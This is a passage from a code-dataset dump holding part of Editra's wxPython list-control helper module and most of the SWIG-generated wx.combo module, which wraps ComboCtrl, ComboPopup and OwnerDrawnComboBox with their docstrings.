wx\nimport wx.lib.mixins.listctrl as listmix\n\n# Local Imports\nimport elistmix\n\n#--------------------------------------------------------------------------#\n\nclass EBaseListCtrl(elistmix.ListRowHighlighter,\n listmix.ListCtrlAutoWidthMixin,\n wx.ListCtrl):\n \"\"\"Base listctrl class that provides automatic row highlighting\"\"\"\n def __init__(self, parent, _id=wx.ID_ANY,\n pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=wx.LC_REPORT, validator=wx.DefaultValidator,\n name=\"EListCtrl\"):\n wx.ListCtrl.__init__(self, parent, _id, pos, size,\n style, validator, name)\n elistmix.ListRowHighlighter.__init__(self)\n listmix.ListCtrlAutoWidthMixin.__init__(self)\n\n def EnableRow(self, idx, enable=True):\n \"\"\"Enable/Disable a row in the ListCtrl\n @param idx: row index\n\n \"\"\"\n state = 0\n txtcolour = wx.SYS_COLOUR_LISTBOXTEXT\n if not enable:\n state = wx.LIST_STATE_DISABLED\n txtcolour = wx.SYS_COLOUR_GRAYTEXT\n self.SetItemState(idx, state, wx.LIST_STATE_DONTCARE)\n colour = wx.SystemSettings.GetColour(txtcolour)\n self.SetItemTextColour(idx, colour)\n\n def GetRowData(self, idx):\n \"\"\"Get the values from each cell in the given row\n @param idx: row index\n @return: tuple\n\n \"\"\"\n data = list()\n if idx >= 0 and idx < self.GetItemCount():\n for col in range(self.GetColumnCount()):\n item = self.GetItem(idx, col)\n data.append(item.Text)\n return tuple(data)\n\n def GetSelections(self):\n \"\"\"Get a list of all the selected items in the list\n @return: list of ints\n\n \"\"\"\n items = [ idx for idx in range(self.GetItemCount())\n if self.IsSelected(idx) ]\n return items\n\n def HasSelection(self):\n \"\"\"Are any items selected in the list\"\"\"\n return bool(len(self.GetSelections()))\n\nclass ECheckListCtrl(listmix.CheckListCtrlMixin,\n EBaseListCtrl):\n \"\"\"ListCtrl with CheckBoxes in the first column\"\"\"\n def __init__(self, *args, **kwargs):\n EBaseListCtrl.__init__(self, *args, **kwargs)\n listmix.CheckListCtrlMixin.__init__(self)\n\nclass EEditListCtrl(listmix.TextEditMixin,\n EBaseListCtrl):\n \"\"\"ListCtrl with Editable cells\"\"\"\n def __init__(self, *args, **kwargs):\n EBaseListCtrl.__init__(self, *args, **kwargs)\n listmix.TextEditMixin.__init__(self)\n\nclass EToggleEditListCtrl(listmix.CheckListCtrlMixin,\n listmix.TextEditMixin,\n EBaseListCtrl):\n \"\"\"ListCtrl with Editable cells and images that can be toggled in the\n the first column.\n\n \"\"\"\n def __init__(self, *args, **kwargs):\n EBaseListCtrl.__init__(self, *args, **kwargs)\n listmix.TextEditMixin.__init__(self)\n listmix.CheckListCtrlMixin.__init__(self)\n self.Unbind(wx.EVT_LEFT_DCLICK)\n\n def GetCheckedItems(self):\n \"\"\"Get the list of checked indexes\"\"\"\n count = self.GetItemCount()\n return [item for item in range(count) if self.IsChecked(item)]\n\n def SetCheckedBitmap(self, bmp):\n \"\"\"Set the bitmap to use for the Checked state\n @param bmp: wx.Bitmap\n\n \"\"\"\n assert isinstance(bmp, wx.Bitmap) and bmp.IsOk()\n imgl = self.GetImageList(wx.IMAGE_LIST_SMALL)\n imgl.Replace(self.check_image, bmp)\n\n def SetUnCheckedBitmap(self, bmp):\n \"\"\"Set the bitmap to use for the un-Checked state\n @param bmp: wx.Bitmap\n\n \"\"\"\n assert isinstance(bmp, wx.Bitmap) and bmp.IsOk()\n imgl = self.GetImageList(wx.IMAGE_LIST_SMALL)\n imgl.Replace(self.uncheck_image, bmp)\n", "id": "3987560", "language": "Python", "matching_score": 1.7333343029022217, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/eclib/elistctrl.py" }, { "content": "# This file was created automatically by SWIG 1.3.29.\n# Don't modify this file, modify the SWIG interface instead.\n\n\"\"\"\nComboCtrl class that can have any type of popup widget, and also an\nowner-drawn combobox control.\n\"\"\"\n\nimport _combo\nimport new\nnew_instancemethod = new.instancemethod\ndef _swig_setattr_nondynamic(self,class_type,name,value,static=1):\n if (name == \"thisown\"): return self.this.own(value)\n if (name == \"this\"):\n if type(value).__name__ == 'PySwigObject':\n self.__dict__[name] = value\n return\n method = class_type.__swig_setmethods__.get(name,None)\n if method: return method(self,value)\n if (not static) or hasattr(self,name):\n self.__dict__[name] = value\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n\ndef _swig_setattr(self,class_type,name,value):\n return _swig_setattr_nondynamic(self,class_type,name,value,0)\n\ndef _swig_getattr(self,class_type,name):\n if (name == \"thisown\"): return self.this.own()\n method = class_type.__swig_getmethods__.get(name,None)\n if method: return method(self)\n raise AttributeError,name\n\ndef _swig_repr(self):\n try: strthis = \"proxy of \" + self.this.__repr__()\n except: strthis = \"\"\n return \"<%s.%s; %s >\" % (self.__class__.__module__, self.__class__.__name__, strthis,)\n\nimport types\ntry:\n _object = types.ObjectType\n _newclass = 1\nexcept AttributeError:\n class _object : pass\n _newclass = 0\ndel types\n\n\ndef _swig_setattr_nondynamic_method(set):\n def set_attr(self,name,value):\n if (name == \"thisown\"): return self.this.own(value)\n if hasattr(self,name) or (name == \"this\"):\n set(self,name,value)\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n return set_attr\n\n\nimport _windows\nimport _core\nwx = _core \n__docfilter__ = wx.__DocFilter(globals()) \n#---------------------------------------------------------------------------\n\nCC_BUTTON_OUTSIDE_BORDER = _combo.CC_BUTTON_OUTSIDE_BORDER\nCC_POPUP_ON_MOUSE_UP = _combo.CC_POPUP_ON_MOUSE_UP\nCC_NO_TEXT_AUTO_SELECT = _combo.CC_NO_TEXT_AUTO_SELECT\nCC_MF_ON_BUTTON = _combo.CC_MF_ON_BUTTON\nCC_MF_ON_CLICK_AREA = _combo.CC_MF_ON_CLICK_AREA\nclass ComboCtrlFeatures(object):\n \"\"\"\n Namespace for `wx.combo.ComboCtrl` feature flags. See\n `wx.combo.ComboCtrl.GetFeatures`.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n MovableButton = _combo.ComboCtrlFeatures_MovableButton\n BitmapButton = _combo.ComboCtrlFeatures_BitmapButton\n ButtonSpacing = _combo.ComboCtrlFeatures_ButtonSpacing\n TextIndent = _combo.ComboCtrlFeatures_TextIndent\n PaintControl = _combo.ComboCtrlFeatures_PaintControl\n PaintWritable = _combo.ComboCtrlFeatures_PaintWritable\n Borderless = _combo.ComboCtrlFeatures_Borderless\n All = _combo.ComboCtrlFeatures_All\n_combo.ComboCtrlFeatures_swigregister(ComboCtrlFeatures)\n\nclass ComboCtrl(_core.Control):\n \"\"\"\n A combo control is a generic combobox that allows for a totally custom\n popup. In addition it has other customization features. For instance,\n position and size of the dropdown button can be changed.\n\n To specify what to use for the popup control you need to derive a\n class from `wx.combo.ComboPopup` and pass it to the ComboCtrl with\n `SetPopupControl`. It doesn't derive from any widget class so it can\n be used either as a mixin class combined with some standard or custom\n widget, or you can use the derived ComboPopup to create and hold an\n independent reference to the widget to be used for the popup.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=ID_ANY, String value=wxEmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=wxPyComboBoxNameStr) -> ComboCtrl\n \"\"\"\n _combo.ComboCtrl_swiginit(self,_combo.new_ComboCtrl(*args, **kwargs))\n self._setOORInfo(self);ComboCtrl._setCallbackInfo(self, self, ComboCtrl)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _combo.ComboCtrl__setCallbackInfo(*args, **kwargs)\n\n def ShowPopup(*args, **kwargs):\n \"\"\"\n ShowPopup(self)\n\n Show the popup window.\n \"\"\"\n return _combo.ComboCtrl_ShowPopup(*args, **kwargs)\n\n def HidePopup(*args, **kwargs):\n \"\"\"\n HidePopup(self)\n\n Dismisses the popup window.\n \"\"\"\n return _combo.ComboCtrl_HidePopup(*args, **kwargs)\n\n def OnButtonClick(*args, **kwargs):\n \"\"\"\n OnButtonClick(self)\n\n Implement in a derived class to define what happens on dropdown button\n click. Default action is to show the popup. \n \"\"\"\n return _combo.ComboCtrl_OnButtonClick(*args, **kwargs)\n\n def IsPopupShown(*args, **kwargs):\n \"\"\"\n IsPopupShown(self) -> bool\n\n Returns true if the popup is currently shown.\n \"\"\"\n return _combo.ComboCtrl_IsPopupShown(*args, **kwargs)\n\n def SetPopupControl(*args, **kwargs):\n \"\"\"\n SetPopupControl(self, ComboPopup popup)\n\n Set popup interface class derived from `wx.combo.ComboPopup`. This\n method should be called as soon as possible after the control has been\n created, unless `OnButtonClick` has been overridden.\n \"\"\"\n return _combo.ComboCtrl_SetPopupControl(*args, **kwargs)\n\n def GetPopupControl(*args, **kwargs):\n \"\"\"\n GetPopupControl(self) -> ComboPopup\n\n Returns the current popup interface that has been set with\n `SetPopupControl`.\n \"\"\"\n return _combo.ComboCtrl_GetPopupControl(*args, **kwargs)\n\n def GetPopupWindow(*args, **kwargs):\n \"\"\"\n GetPopupWindow(self) -> Window\n\n Returns the popup window containing the popup control.\n \"\"\"\n return _combo.ComboCtrl_GetPopupWindow(*args, **kwargs)\n\n def GetTextCtrl(*args, **kwargs):\n \"\"\"\n GetTextCtrl(self) -> wxTextCtrl\n\n Get the text control which is part of the combo control.\n \"\"\"\n return _combo.ComboCtrl_GetTextCtrl(*args, **kwargs)\n\n def GetButton(*args, **kwargs):\n \"\"\"\n GetButton(self) -> Window\n\n Get the dropdown button which is part of the combobox. Note: it's not\n necessarily a wx.Button or wx.BitmapButton.\n \"\"\"\n return _combo.ComboCtrl_GetButton(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"\n GetValue(self) -> String\n\n Returns text representation of the current value. For writable combo\n control it always returns the value in the text field.\n \"\"\"\n return _combo.ComboCtrl_GetValue(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"\n SetValue(self, String value)\n\n Sets the text for the combo control text field. For a combo control\n with wx.CB_READONLY style the string must be accepted by the popup (for\n instance, exist in the dropdown list), otherwise the call to\n SetValue is ignored.\n \"\"\"\n return _combo.ComboCtrl_SetValue(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"Copy(self)\"\"\"\n return _combo.ComboCtrl_Copy(*args, **kwargs)\n\n def Cut(*args, **kwargs):\n \"\"\"Cut(self)\"\"\"\n return _combo.ComboCtrl_Cut(*args, **kwargs)\n\n def Paste(*args, **kwargs):\n \"\"\"Paste(self)\"\"\"\n return _combo.ComboCtrl_Paste(*args, **kwargs)\n\n def SetInsertionPoint(*args, **kwargs):\n \"\"\"SetInsertionPoint(self, long pos)\"\"\"\n return _combo.ComboCtrl_SetInsertionPoint(*args, **kwargs)\n\n def SetInsertionPointEnd(*args, **kwargs):\n \"\"\"SetInsertionPointEnd(self)\"\"\"\n return _combo.ComboCtrl_SetInsertionPointEnd(*args, **kwargs)\n\n def GetInsertionPoint(*args, **kwargs):\n \"\"\"GetInsertionPoint(self) -> long\"\"\"\n return _combo.ComboCtrl_GetInsertionPoint(*args, **kwargs)\n\n def GetLastPosition(*args, **kwargs):\n \"\"\"GetLastPosition(self) -> long\"\"\"\n return _combo.ComboCtrl_GetLastPosition(*args, **kwargs)\n\n def Replace(*args, **kwargs):\n \"\"\"Replace(self, long from, long to, String value)\"\"\"\n return _combo.ComboCtrl_Replace(*args, **kwargs)\n\n def Remove(*args, **kwargs):\n \"\"\"Remove(self, long from, long to)\"\"\"\n return _combo.ComboCtrl_Remove(*args, **kwargs)\n\n def Undo(*args, **kwargs):\n \"\"\"Undo(self)\"\"\"\n return _combo.ComboCtrl_Undo(*args, **kwargs)\n\n def SetMark(*args, **kwargs):\n \"\"\"SetMark(self, long from, long to)\"\"\"\n return _combo.ComboCtrl_SetMark(*args, **kwargs)\n\n def SetText(*args, **kwargs):\n \"\"\"\n SetText(self, String value)\n\n Sets the text for the text field without affecting the popup. Thus,\n unlike `SetValue`, it works equally well with combo control using\n wx.CB_READONLY style.\n \"\"\"\n return _combo.ComboCtrl_SetText(*args, **kwargs)\n\n def SetValueWithEvent(*args, **kwargs):\n \"\"\"\n SetValueWithEvent(self, String value, bool withEvent=True)\n\n Same as `SetValue`, but also sends a EVT_TEXT event if withEvent is true.\n \"\"\"\n return _combo.ComboCtrl_SetValueWithEvent(*args, **kwargs)\n\n def SetPopupMinWidth(*args, **kwargs):\n \"\"\"\n SetPopupMinWidth(self, int width)\n\n Sets minimum width of the popup. If wider than combo control, it will\n extend to the left. A value of -1 indicates to use the default. The\n popup implementation may choose to ignore this.\n \"\"\"\n return _combo.ComboCtrl_SetPopupMinWidth(*args, **kwargs)\n\n def SetPopupMaxHeight(*args, **kwargs):\n \"\"\"\n SetPopupMaxHeight(self, int height)\n\n Sets preferred maximum height of the popup. A value of -1 indicates to\n use the default. The popup implementation may choose to ignore this.\n \"\"\"\n return _combo.ComboCtrl_SetPopupMaxHeight(*args, **kwargs)\n\n def SetPopupExtents(*args, **kwargs):\n \"\"\"\n SetPopupExtents(self, int extLeft, int extRight)\n\n Extends popup size horizontally, relative to the edges of the combo\n control. Values are given in pixels, and the defaults are zero. It\n is up to the popup to fully take these values into account.\n \"\"\"\n return _combo.ComboCtrl_SetPopupExtents(*args, **kwargs)\n\n def SetCustomPaintWidth(*args, **kwargs):\n \"\"\"\n SetCustomPaintWidth(self, int width)\n\n Set width, in pixels, of custom painted area in control without\n wx.CB_READONLY style. In read-only OwnerDrawnComboBox, this is used\n to indicate the area that is not covered by the focus rectangle.\n \"\"\"\n return _combo.ComboCtrl_SetCustomPaintWidth(*args, **kwargs)\n\n def GetCustomPaintWidth(*args, **kwargs):\n \"\"\"GetCustomPaintWidth(self) -> int\"\"\"\n return _combo.ComboCtrl_GetCustomPaintWidth(*args, **kwargs)\n\n def SetPopupAnchor(*args, **kwargs):\n \"\"\"\n SetPopupAnchor(self, int anchorSide)\n\n Set side of the control to which the popup will align itself. Valid\n values are wx.LEFT, wx.RIGHT and 0. The default value 0 means that the\n most appropriate side is used (which, currently, is always wx.LEFT).\n \"\"\"\n return _combo.ComboCtrl_SetPopupAnchor(*args, **kwargs)\n\n def SetButtonPosition(*args, **kwargs):\n \"\"\"\n SetButtonPosition(self, int width=-1, int height=-1, int side=RIGHT, int spacingX=0)\n\n Set the position of the dropdown button.\n \"\"\"\n return _combo.ComboCtrl_SetButtonPosition(*args, **kwargs)\n\n def GetButtonSize(*args, **kwargs):\n \"\"\"\n GetButtonSize(self) -> Size\n\n Returns current size of the dropdown button.\n \"\"\"\n return _combo.ComboCtrl_GetButtonSize(*args, **kwargs)\n\n def SetButtonBitmaps(*args, **kwargs):\n \"\"\"\n SetButtonBitmaps(self, Bitmap bmpNormal, bool pushButtonBg=False, Bitmap bmpPressed=wxNullBitmap, \n Bitmap bmpHover=wxNullBitmap, \n Bitmap bmpDisabled=wxNullBitmap)\n\n Sets custom dropdown button graphics.\n\n :param bmpNormal: Default button image\n :param pushButtonBg: If ``True``, blank push button background is painted below the image.\n :param bmpPressed: Depressed butotn image.\n :param bmpHover: Button imate to use when the mouse hovers over it.\n :param bmpDisabled: Disabled button image.\n\n \"\"\"\n return _combo.ComboCtrl_SetButtonBitmaps(*args, **kwargs)\n\n def SetTextIndent(*args, **kwargs):\n \"\"\"\n SetTextIndent(self, int indent)\n\n This will set the space in pixels between left edge of the control and\n the text, regardless whether control is read-only or not. A value of -1 can\n be given to indicate platform default.\n \"\"\"\n return _combo.ComboCtrl_SetTextIndent(*args, **kwargs)\n\n def GetTextIndent(*args, **kwargs):\n \"\"\"\n GetTextIndent(self) -> int\n\n Returns actual indentation in pixels.\n \"\"\"\n return _combo.ComboCtrl_GetTextIndent(*args, **kwargs)\n\n def GetTextRect(*args, **kwargs):\n \"\"\"\n GetTextRect(self) -> Rect\n\n Returns area covered by the text field (includes everything except\n borders and the dropdown button).\n \"\"\"\n return _combo.ComboCtrl_GetTextRect(*args, **kwargs)\n\n def UseAltPopupWindow(*args, **kwargs):\n \"\"\"\n UseAltPopupWindow(self, bool enable=True)\n\n Enable or disable usage of an alternative popup window, which\n guarantees ability to focus the popup control, and allows common\n native controls to function normally. This alternative popup window is\n usually a wxDialog, and as such, when it is shown, its parent\n top-level window will appear as if the focus has been lost from it.\n \"\"\"\n return _combo.ComboCtrl_UseAltPopupWindow(*args, **kwargs)\n\n def EnablePopupAnimation(*args, **kwargs):\n \"\"\"\n EnablePopupAnimation(self, bool enable=True)\n\n Enables or disables popup animation, if any, depending on the value of\n the argument.\n \"\"\"\n return _combo.ComboCtrl_EnablePopupAnimation(*args, **kwargs)\n\n def IsKeyPopupToggle(*args, **kwargs):\n \"\"\"\n IsKeyPopupToggle(self, KeyEvent event) -> bool\n\n Returns true if given key combination should toggle the popup.\n \"\"\"\n return _combo.ComboCtrl_IsKeyPopupToggle(*args, **kwargs)\n\n def PrepareBackground(*args, **kwargs):\n \"\"\"\n PrepareBackground(self, DC dc, Rect rect, int flags)\n\n Prepare background of combo control or an item in a dropdown list in a\n way typical on platform. This includes painting the focus/disabled\n background and setting the clipping region. Unless you plan to paint\n your own focus indicator, you should always call this in your\n wxComboPopup::PaintComboControl implementation. In addition, it sets\n pen and text colour to what looks good and proper against the\n background.\n\n flags are the same as wx.RendererNative flags:\n\n ====================== ============================================\n wx.CONTROL_ISSUBMENU drawing a list item instead of combo control\n wx.CONTROL_SELECTED list item is selected\n wx.CONTROL_DISABLED control/item is disabled\n ====================== ============================================\n\n \"\"\"\n return _combo.ComboCtrl_PrepareBackground(*args, **kwargs)\n\n def ShouldDrawFocus(*args, **kwargs):\n \"\"\"\n ShouldDrawFocus(self) -> bool\n\n Returns true if focus indicator should be drawn in the control.\n \"\"\"\n return _combo.ComboCtrl_ShouldDrawFocus(*args, **kwargs)\n\n def GetBitmapNormal(*args, **kwargs):\n \"\"\"GetBitmapNormal(self) -> Bitmap\"\"\"\n return _combo.ComboCtrl_GetBitmapNormal(*args, **kwargs)\n\n def GetBitmapPressed(*args, **kwargs):\n \"\"\"GetBitmapPressed(self) -> Bitmap\"\"\"\n return _combo.ComboCtrl_GetBitmapPressed(*args, **kwargs)\n\n def GetBitmapHover(*args, **kwargs):\n \"\"\"GetBitmapHover(self) -> Bitmap\"\"\"\n return _combo.ComboCtrl_GetBitmapHover(*args, **kwargs)\n\n def GetBitmapDisabled(*args, **kwargs):\n \"\"\"GetBitmapDisabled(self) -> Bitmap\"\"\"\n return _combo.ComboCtrl_GetBitmapDisabled(*args, **kwargs)\n\n def GetInternalFlags(*args, **kwargs):\n \"\"\"GetInternalFlags(self) -> unsigned int\"\"\"\n return _combo.ComboCtrl_GetInternalFlags(*args, **kwargs)\n\n def IsCreated(*args, **kwargs):\n \"\"\"\n IsCreated(self) -> bool\n\n Return true if Create has finished\n \"\"\"\n return _combo.ComboCtrl_IsCreated(*args, **kwargs)\n\n def OnPopupDismiss(*args, **kwargs):\n \"\"\"\n OnPopupDismiss(self)\n\n Common code to be called on popup hide/dismiss\n \"\"\"\n return _combo.ComboCtrl_OnPopupDismiss(*args, **kwargs)\n\n Hidden = _combo.ComboCtrl_Hidden\n Animating = _combo.ComboCtrl_Animating\n Visible = _combo.ComboCtrl_Visible\n def IsPopupWindowState(*args, **kwargs):\n \"\"\"IsPopupWindowState(self, int state) -> bool\"\"\"\n return _combo.ComboCtrl_IsPopupWindowState(*args, **kwargs)\n\n def GetPopupWindowState(*args, **kwargs):\n \"\"\"GetPopupWindowState(self) -> int\"\"\"\n return _combo.ComboCtrl_GetPopupWindowState(*args, **kwargs)\n\n def SetCtrlMainWnd(*args, **kwargs):\n \"\"\"SetCtrlMainWnd(self, Window wnd)\"\"\"\n return _combo.ComboCtrl_SetCtrlMainWnd(*args, **kwargs)\n\n def GetMainWindowOfCompositeControl(*args, **kwargs):\n \"\"\"GetMainWindowOfCompositeControl(self) -> Window\"\"\"\n return _combo.ComboCtrl_GetMainWindowOfCompositeControl(*args, **kwargs)\n\n def DestroyPopup(*args, **kwargs):\n \"\"\"DestroyPopup(self)\"\"\"\n return _combo.ComboCtrl_DestroyPopup(*args, **kwargs)\n\n def GetFeatures(*args, **kwargs):\n \"\"\"\n GetFeatures() -> int\n\n Returns a bit-list of flags indicating which features of the ComboCtrl\n functionality are implemented by this implemetation. See\n `wx.combo.ComboCtrlFeatures`.\n \"\"\"\n return _combo.ComboCtrl_GetFeatures(*args, **kwargs)\n\n GetFeatures = staticmethod(GetFeatures)\n ShowBelow = _combo.ComboCtrl_ShowBelow\n ShowAbove = _combo.ComboCtrl_ShowAbove\n CanDeferShow = _combo.ComboCtrl_CanDeferShow\n def DoShowPopup(*args, **kwargs):\n \"\"\"\n DoShowPopup(self, Rect rect, int flags)\n\n Shows and positions the popup.\n\n Flags:\n ============ =====================================================\n ShowBelow Showing popup below the control\n ShowAbove Showing popup above the control\n CanDeferShow Can only return true from AnimateShow if this is set\n ============ =====================================================\n\n \"\"\"\n return _combo.ComboCtrl_DoShowPopup(*args, **kwargs)\n\n def AnimateShow(*args, **kwargs):\n \"\"\"\n AnimateShow(self, Rect rect, int flags) -> bool\n\n Implement in derived class to create a drop-down animation. Return\n ``True`` if finished immediately. Otherwise the popup is only shown when the\n derived class calls `DoShowPopup`. Flags are same as for `DoShowPopup`.\n\n \"\"\"\n return _combo.ComboCtrl_AnimateShow(*args, **kwargs)\n\n PopupControl = property(GetPopupControl,SetPopupControl) \n PopupWindow = property(GetPopupWindow) \n TextCtrl = property(GetTextCtrl) \n Button = property(GetButton) \n Value = property(GetValue,SetValue) \n InsertionPoint = property(GetInsertionPoint) \n CustomPaintWidth = property(GetCustomPaintWidth,SetCustomPaintWidth) \n ButtonSize = property(GetButtonSize) \n TextIndent = property(GetTextIndent,SetTextIndent) \n TextRect = property(GetTextRect) \n BitmapNormal = property(GetBitmapNormal) \n BitmapPressed = property(GetBitmapPressed) \n BitmapHover = property(GetBitmapHover) \n BitmapDisabled = property(GetBitmapDisabled) \n PopupWindowState = property(GetPopupWindowState) \n_combo.ComboCtrl_swigregister(ComboCtrl)\n\ndef PreComboCtrl(*args, **kwargs):\n \"\"\"PreComboCtrl() -> ComboCtrl\"\"\"\n val = _combo.new_PreComboCtrl(*args, **kwargs)\n return val\n\ndef ComboCtrl_GetFeatures(*args):\n \"\"\"\n ComboCtrl_GetFeatures() -> int\n\n Returns a bit-list of flags indicating which features of the ComboCtrl\n functionality are implemented by this implemetation. See\n `wx.combo.ComboCtrlFeatures`.\n \"\"\"\n return _combo.ComboCtrl_GetFeatures(*args)\n\n#---------------------------------------------------------------------------\n\nclass ComboPopup(object):\n \"\"\"\n In order to use a custom popup with `wx.combo.ComboCtrl` an interface\n class derived from wx.combo.ComboPopup is used to manage the interface\n between the popup control and the popup. You can either derive a new\n class from both the widget class and this ComboPopup class, or the\n derived class can have a reference to the widget used for the popup.\n In either case you simply need to return the widget from the\n `GetControl` method to allow the ComboCtrl to interact with it.\n\n Nearly all of the methods of this class are overridable in Python.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> ComboPopup\n\n Constructor\n \"\"\"\n _combo.ComboPopup_swiginit(self,_combo.new_ComboPopup(*args, **kwargs))\n ComboPopup._setCallbackInfo(self, self, ComboPopup)\n\n __swig_destroy__ = _combo.delete_ComboPopup\n __del__ = lambda self : None;\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _combo.ComboPopup__setCallbackInfo(*args, **kwargs)\n\n def Init(*args, **kwargs):\n \"\"\"\n Init(self)\n\n This method is called after the popup is contructed and has been\n assigned to the ComboCtrl. Derived classes can override this to do\n extra inialization or whatever.\n \"\"\"\n return _combo.ComboPopup_Init(*args, **kwargs)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent) -> bool\n\n The derived class must implement this method to create the popup\n control. It should be a child of the ``parent`` passed in, but other\n than that there is much flexibility in what the widget can be, its\n style, etc. Return ``True`` for success, ``False`` otherwise. (NOTE:\n this return value is not currently checked...)\n \"\"\"\n return _combo.ComboPopup_Create(*args, **kwargs)\n\n def GetControl(*args, **kwargs):\n \"\"\"\n GetControl(self) -> Window\n\n The derived class must implement this method and it should return a\n reference to the widget created in the `Create` method. If the\n derived class inherits from both the widget class and ComboPopup then\n the return value is probably just ``self``.\n \"\"\"\n return _combo.ComboPopup_GetControl(*args, **kwargs)\n\n def OnPopup(*args, **kwargs):\n \"\"\"\n OnPopup(self)\n\n The derived class may implement this to do special processing when\n popup is shown.\n \"\"\"\n return _combo.ComboPopup_OnPopup(*args, **kwargs)\n\n def OnDismiss(*args, **kwargs):\n \"\"\"\n OnDismiss(self)\n\n The derived class may implement this to do special processing when\n popup is hidden.\n \"\"\"\n return _combo.ComboPopup_OnDismiss(*args, **kwargs)\n\n def SetStringValue(*args, **kwargs):\n \"\"\"\n SetStringValue(self, String value)\n\n Called just prior to displaying the popup. The derived class can\n implement this to \"select\" the item in the popup that coresponds to\n the passed in string value, if appropriate. The default\n implementation does nothing.\n \"\"\"\n return _combo.ComboPopup_SetStringValue(*args, **kwargs)\n\n def GetStringValue(*args, **kwargs):\n \"\"\"\n GetStringValue(self) -> String\n\n Gets the string representation of the currently selected value to be\n used to display in the combo widget.\n \"\"\"\n return _combo.ComboPopup_GetStringValue(*args, **kwargs)\n\n def PaintComboControl(*args, **kwargs):\n \"\"\"\n PaintComboControl(self, DC dc, Rect rect)\n\n This is called to custom paint in the combo control itself (ie. not\n the popup). Default implementation draws the current value as string.\n \"\"\"\n return _combo.ComboPopup_PaintComboControl(*args, **kwargs)\n\n def OnComboKeyEvent(*args, **kwargs):\n \"\"\"\n OnComboKeyEvent(self, KeyEvent event)\n\n Receives key events from the parent ComboCtrl. Events not handled\n should be skipped, as usual.\n \"\"\"\n return _combo.ComboPopup_OnComboKeyEvent(*args, **kwargs)\n\n def OnComboDoubleClick(*args, **kwargs):\n \"\"\"\n OnComboDoubleClick(self)\n\n Implement this method in the derived class if you need to support\n special actions when the user double-clicks on the parent ComboCtrl.\n \"\"\"\n return _combo.ComboPopup_OnComboDoubleClick(*args, **kwargs)\n\n def GetAdjustedSize(*args, **kwargs):\n \"\"\"\n GetAdjustedSize(self, int minWidth, int prefHeight, int maxHeight) -> Size\n\n The derived class may implement this method to return adjusted size\n for the popup control, according to the variables given. It is called\n on every popup, just prior to `OnPopup`.\n\n :param minWidth: Preferred minimum width.\n :param prefHeight: Preferred height. May be -1 to indicate no preference.\n :maxWidth: Max height for window, as limited by screen size, and\n should only be rounded down, if necessary.\n\n \"\"\"\n return _combo.ComboPopup_GetAdjustedSize(*args, **kwargs)\n\n def LazyCreate(*args, **kwargs):\n \"\"\"\n LazyCreate(self) -> bool\n\n The derived class may implement this to return ``True`` if it wants to\n delay the call to `Create` until the popup is shown for the first\n time. It is more efficient, but on the other hand it is often more\n convenient to have the control created immediately. The default\n implementation returns ``False``.\n \"\"\"\n return _combo.ComboPopup_LazyCreate(*args, **kwargs)\n\n def Dismiss(*args, **kwargs):\n \"\"\"\n Dismiss(self)\n\n Hides the popup\n \"\"\"\n return _combo.ComboPopup_Dismiss(*args, **kwargs)\n\n def IsCreated(*args, **kwargs):\n \"\"\"\n IsCreated(self) -> bool\n\n Returns true if `Create` has been called.\n \"\"\"\n return _combo.ComboPopup_IsCreated(*args, **kwargs)\n\n def DefaultPaintComboControl(*args, **kwargs):\n \"\"\"\n DefaultPaintComboControl(wxComboCtrlBase combo, DC dc, Rect rect)\n\n Default PaintComboControl behaviour\n \"\"\"\n return _combo.ComboPopup_DefaultPaintComboControl(*args, **kwargs)\n\n DefaultPaintComboControl = staticmethod(DefaultPaintComboControl)\n def GetCombo(*args, **kwargs):\n \"\"\"\n GetCombo(self) -> ComboCtrl\n\n Returns a reference to the `wx.combo.ComboCtrl` this ComboPopup object\n is associated with.\n \"\"\"\n return _combo.ComboPopup_GetCombo(*args, **kwargs)\n\n_combo.ComboPopup_swigregister(ComboPopup)\n\ndef ComboPopup_DefaultPaintComboControl(*args, **kwargs):\n \"\"\"\n ComboPopup_DefaultPaintComboControl(wxComboCtrlBase combo, DC dc, Rect rect)\n\n Default PaintComboControl behaviour\n \"\"\"\n return _combo.ComboPopup_DefaultPaintComboControl(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nODCB_DCLICK_CYCLES = _combo.ODCB_DCLICK_CYCLES\nODCB_STD_CONTROL_PAINT = _combo.ODCB_STD_CONTROL_PAINT\nODCB_PAINTING_CONTROL = _combo.ODCB_PAINTING_CONTROL\nODCB_PAINTING_SELECTED = _combo.ODCB_PAINTING_SELECTED\nclass OwnerDrawnComboBox(ComboCtrl,_core.ItemContainer):\n \"\"\"\n wx.combo.OwnerDrawnComboBox is a combobox with owner-drawn list\n items. In essence, it is a `wx.combo.ComboCtrl` with a `wx.VListBox`\n popup and a `wx.ControlWithItems` API.\n\n Implementing item drawing and measuring is similar to wx.VListBox.\n The application needs to subclass wx.combo.OwnerDrawnComboBox and\n implement the `OnDrawItem`, `OnMeasureItem` and `OnMeasureItemWidth`\n methods.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, 